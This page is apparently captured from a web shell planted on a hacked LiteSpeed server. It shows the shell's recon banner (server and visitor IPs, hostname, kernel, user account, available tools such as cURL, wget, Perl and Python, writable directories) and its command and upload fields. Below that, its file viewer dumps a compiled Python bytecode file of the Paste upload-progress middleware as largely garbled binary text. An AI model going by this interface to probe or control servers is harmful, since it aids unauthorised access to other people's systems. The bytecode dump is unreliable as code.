403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.222.24.251
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/progress.cpython-37.pyc
B

a�N��@s�dZddlZddlmZdZdZdZdZdZGd	d
�d
e	�Z
Gdd�de	�ZGd
d�de	�ZddgZ
dekr�ddlZejejd�dS)a~
Upload Progress Monitor

This is a WSGI middleware component which monitors the status of files
being uploaded.  It includes a small query application which will return
a list of all files being uploaded by particular session/user.

>>> from paste.httpserver import serve
>>> from paste.urlmap import URLMap
>>> from paste.auth.basic import AuthBasicHandler
>>> from paste.debug.debugapp import SlowConsumer, SimpleApplication
>>> # from paste.progress import *
>>> realm = 'Test Realm'
>>> def authfunc(username, password):
...     return username == password
>>> map = URLMap({})
>>> ups = UploadProgressMonitor(map, threshold=1024)
>>> map['/upload'] = SlowConsumer()
>>> map['/simple'] = SimpleApplication()
>>> map['/report'] = UploadProgressReporter(ups)
>>> serve(AuthBasicHandler(ups, realm, authfunc))
serving on...

.. note::

   This is experimental, and will change in the future.
�N)�catch_errorsii,zpaste.bytes_receivedzpaste.request_startedzpaste.request_finishedc@s<eZdZdZdd�Zdd�Zddd�Zd	d
�Zddd
�ZdS)�
_ProgressFilezy
    This is the input-file wrapper used to record the number of
    ``paste.bytes_received`` for the given request.
    cCs(||_||_|j|_|j|_|j|_dS)N)�_ProgressFile_environ�_ProgressFile_rfile�flush�write�
writelines)�self�environZrfile�r�?/opt/alt/python37/lib/python3.7/site-packages/paste/progress.py�__init__1s
z_ProgressFile.__init__cs&|j�t|j����fdd�}t|�S)Nc3s,x&�D]}�tt|�7<|VqWdS)N)�ENVIRON_RECEIVED�len)�chunk)r
�riterrr�iterwrap;s
z(_ProgressFile.__iter__.<locals>.iterwrap)r�iterr)r	rr)r
rr�__iter__8s
z_ProgressFile.__iter__���cCs&|j�|�}|jtt|�7<|S)N)r�readrrr)r	�sizerrrrrAsz_ProgressFile.readcCs$|j��}|jtt|�7<|S)N)r�readlinerrr)r	rrrrrFs
z_ProgressFile.readlineNcCs&|j�|�}|jtt|�7<|S)N)r�	readlinesrrr)r	ZhintrrrrrKsz_ProgressFile.readlines)r)N)	�__name__�
__module__�__qualname__�__doc__r
rrrrrrrrr+s	
rc@s*eZdZdZd	dd�Zdd�Zdd�ZdS)
�UploadProgressMonitora<
    monitors and reports on the status of uploads in progress

    Parameters:

        ``application``

            This is the next application in the WSGI stack.

        ``threshold``

            This is the size in bytes that is needed for the
            upload to be included in the monitor.

        ``timeout``

            This is the amount of time (in seconds) that a upload
            remains in the monitor after it has finished.

    Methods:

        ``uploads()``

            This returns a list of ``environ`` dict objects for each
            upload being currently monitored, or finished but whose time
            has not yet expired.

    For each request ``environ`` that is monitored, there are several
    variables that are stored:

        ``paste.bytes_received``

            This is the total number of bytes received for the given
            request; it can be compared with ``CONTENT_LENGTH`` to
            build a percentage complete.  This is an integer value.

        ``paste.request_started``

            This is the time (in seconds) when the request was started
            as obtained from ``time.time()``.  One would want to format
            this for presentation to the user, if necessary.

        ``paste.request_finished``

            This is the time (in seconds) when the request was finished,
            canceled, or otherwise disconnected.  This is None while
            the given upload is still in-progress.

    TODO: turn monitor into a queue and purge queue of finished
          requests that have passed the timeout period.
    NcCs$||_|pt|_|pt|_g|_dS)N)�application�DEFAULT_THRESHOLD�	threshold�DEFAULT_TIMEOUT�timeout�monitor)r	rr!r#rrrr
�s

zUploadProgressMonitor.__init__cs���dd�}|rxt|�|jkrx|j���d�t<t���t<d�t<t	��d��d<d�fdd�	}t
|j�|||�S|��|�S)N�CONTENT_LENGTHrz
wsgi.inputcst���t<dS)N)�time�REQUEST_FINISHED)�exc_info)r
rr�	finalizer�sz1UploadProgressMonitor.__call__.<locals>.finalizer)N)�get�intr!r$�appendrr&�REQUEST_STARTEDr'rrr)r	r
�start_response�lengthr)r)r
r�__call__�s
zUploadProgressMonitor.__call__cCs|jS)N)r$)r	rrr�uploads�szUploadProgressMonitor.uploads)NN)rrrrr
r0r1rrrrrPs3
rc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�UploadProgressReporterag
    reports on the progress of uploads for a given user

    This reporter returns a JSON file (for use in AJAX) listing the
    uploads in progress for the given user.  By default, this reporter
    uses the ``REMOTE_USER`` environment to compare between the current
    request and uploads in-progress.  If they match, then a response
    record is formed.

        ``match()``

            This member function can be overriden to provide alternative
            matching criteria.  It takes two environments, the first
            is the current request, the second is a current upload.

        ``report()``

            This member function takes an environment and builds a
            ``dict`` that will be used to create a JSON mapping for
            the given upload.  By default, this just includes the
            percent complete and the request url.

    cCs
||_dS)N)r$)r	r$rrrr
�szUploadProgressReporter.__init__cCs |�dd�|�dd�krdSdS)NZREMOTE_USERrTF)r*)r	Zsearch_environZupload_environrrr�match�s
zUploadProgressReporter.matchc	Csdt�dt�|t��d|�d�|t|�dd�|�dd�d�}|t}|r`t�dt�|��|d<|S)	Nz%Y-%m-%d %H:%M:%S�r%Z	PATH_INFOZQUERY_STRING)�started�finishedZcontent_lengthZbytes_receivedZ	path_infoZquery_stringz%Y:%m:%d %H:%M:%Sr6)r&�strftime�gmtimer-r*rr')r	r
�retvalr6rrr�report�s
zUploadProgressReporter.reportcs�g}xz��fdd��j��D�D]\}g}x>|��D]2\}}t|��dd��dd�}|�d||f�q2W|�dd	�|��q Wd
d	�|�}|ddd
t|�fg�|gS)Ncs"g|]}���|�r��|��qSr)r3r:)�.0�env)r
r	rr�
<listcomp>�sz3UploadProgressReporter.__call__.<locals>.<listcomp>�\z\\�"z\"z%s: "%s"z{ %s }z, z[ %s ]z200 OK)zContent-Typez
text/plainzContent-Length)r$r1�items�str�replacer,�joinr)r	r
r.�body�map�parts�k�vr)r
r	rr0�s zUploadProgressReporter.__call__N)rrrrr
r3r:r0rrrrr2�s
r2�__main__)Zoptionflags)rr&Z
paste.wsgilibrr r"rr-r'�objectrrr2�__all__rZdoctestZtestmod�ELLIPSISrrrr�<module>!s%M=

Youez - 2016 - github.com/yon3zu
LinuXploit